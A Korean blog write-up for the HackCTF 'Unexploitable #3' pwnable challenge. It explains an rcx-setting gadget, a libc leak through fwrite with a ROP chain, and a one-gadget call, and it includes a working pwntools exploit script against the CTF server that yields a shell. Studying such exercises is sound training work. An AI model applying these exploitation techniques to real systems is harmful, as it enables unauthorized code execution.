[ Pwnable ] Unexploitable #3 write-up 본문

Pwnable/HackCTF write-up

[ Pwnable ] Unexploitable #3 write-up

disso1p1 2020. 11. 6. 01:43

 

 

 

 

 

checksec

 

 

main

main 함수 코드이다.

이번에는 fgets 함수로 최대 0x100 bytes 까지 받을 수 있기 때문에 대부분의 ROP 는 다 가능하다.

 

 

gift

이번 gift 함수는 이미 fwrite 함수가 main 함수에 있어 딱히 쓸모가 없어 보인다.

 

그래도 준 이유가 있지 않을까.

출제자의 의도가 있을 거라고 생각했다. 90% 이상은 의도가 있었다.

 

 

 

 

현재는 전 함수와 다르게 system 함수가 없기 때문에 이번에는 ROP 로 leak 를 해서 system 함수를 사용해야한다.

이 바이너리에 있는 함수 중 유일하게 leak 할 수 있는 함수 ( 출력 가능한 함수 ) 는 fwrite 함수이다.

 

하지만 fwrite 함수는 인자가 4개가 필요한데, __libc_csu_init 으로는 세번째 인자인 rdx 까지는 건드릴 수 있는데, 네번째 인자인 rcx 를 설정할 방법이 없다.

 

그래서 생각했다. gift 함수에서 뭔가 할 수 없을까,

 

 

gift() asm

 

정말 있었다.

call 밑에 코드를 보면, rdi주소에 있는 값을 rcx 로 옮기고 return 을 한다.

 

rdi 에 어느 함수의 got 를 넣고, 저 부분으로 뛰면 rcx 를 컨트롤 할 수 있다 !

 

 

그럼 다 구했다.

 

 

[ exploit ]

from pwn import *

context.log_level = 'debug'

p = remote('ctf.j0n9hyun.xyz', '3034')
#p = process('./Unexploitable_3')
e = ELF('./Unexploitable_3')
libc = e.libc

prdi = 0x0000000000400743
stdout = 0x601050
prcx = 0x400658
pppr = 0x000000000040073a
mmmc = 0x0000000000400720

#fwrite(fwrite@got, 1, 6, stdout);
pay = ''
pay += 'A'*0x18
pay += p64(prdi) + p64(stdout)
pay += p64(prcx)

pay += p64(pppr) + p64(0) + p64(1) + p64(e.got['fwrite']) + p64(6) + p64(1) + p64(e.got['fwrite'])
pay += p64(mmmc)
pay += p64(e.symbols['main'])*8


pause()
p.sendlineafter('!\n', pay)

libc_base = u64(p.recvuntil('\x7f')[-6:] + "\x00\x00") - libc.symbols['fwrite']
log.info("libc_base : " + hex(libc_base))

pay = ''
pay += 'A'*0x18
pay += p64(libc_base + 0x45226)
p.sendlineafter('!\n', pay)

p.interactive()

 

 

 

공격 흐름을 다 구상을 했었는데, libc 파일을 안 줘서 뭔가 다른 색다른 방법이 있을 줄 알았는데 다른 분들의 라업을 보니까 다 같은 방법으로 푸셨다.

 

'Pwnable > HackCTF write-up' 카테고리의 다른 글

[ Pwnable ] Unexploitable #2 write-up  (0) 2020.11.06
[ Pwnable ] Unexploitable #1 write-up  (0) 2020.11.06
[ Pwnable ] SysROP write-up  (0) 2020.11.05
Comments